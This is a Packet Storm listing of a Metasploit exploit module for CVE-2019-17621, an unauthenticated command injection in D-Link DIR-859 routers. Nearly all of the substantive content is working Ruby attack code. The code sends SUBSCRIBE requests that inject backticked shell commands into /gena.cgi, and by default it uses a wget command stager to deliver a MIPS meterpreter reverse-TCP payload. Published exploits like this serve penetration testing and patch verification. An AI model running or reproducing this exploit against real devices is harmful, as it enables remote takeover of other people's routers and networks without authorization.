what you don't know can hurt you

D-Link DIR-859 Unauthenticated Remote Command Execution

D-Link DIR-859 Unauthenticated Remote Command Execution
Posted Jan 22, 2020
Authored by Miguel Mendez Z, Pablo Pollanco P | Site metasploit.com

D-Link DIR-859 Routers are vulnerable to OS command injection via the UPnP interface. The vulnerability exists in /gena.cgi (function genacgi_main() in /htdocs/cgibin), which is accessible without credentials.

tags | exploit, cgi
advisories | CVE-2019-17621
MD5 | f5cec50c246c0217d1a4e5586f49167e

D-Link DIR-859 Unauthenticated Remote Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DIR-859 Unauthenticated Remote Command Execution',
'Description' => %q{
D-Link DIR-859 Routers are vulnerable to OS command injection via the UPnP
interface. The vulnerability exists in /gena.cgi (function genacgi_main() in
/htdocs/cgibin), which is accessible without credentials.
},
'Author' =>
[
'Miguel Mendez Z., @s1kr10s', # Vulnerability discovery and initial exploit
'Pablo Pollanco P.' # Vulnerability discovery and metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-17621' ],
[ 'URL', 'https://medium.com/@s1kr10s/d94b47a15104' ]
],
'DisclosureDate' => 'Dec 24 2019',
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'wget',
'RPORT' => '49152'
},
'Targets' =>
[
[ 'Automatic', { } ],
],
'CmdStagerFlavor' => %w{ echo wget },
'DefaultTarget' => 0,
))

end

def execute_command(cmd, opts)
callback_uri = "http://192.168.0." + Rex::Text.rand_text_hex(2).to_i(16).to_s +
":" + Rex::Text.rand_text_hex(4).to_i(16).to_s +
"/" + Rex::Text.rand_text_alpha(3..12)
begin
send_request_raw({
'uri' => "/gena.cgi?service=`#{cmd}`",
'method' => 'SUBSCRIBE',
'headers' =>
{
'Callback' => "<#{callback_uri}>",
'NT' => 'upnp:event',
'Timeout' => 'Second-1800',
},
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
end
end

def exploit
execute_cmdstager(linemax: 500)
end
end
Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    11 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close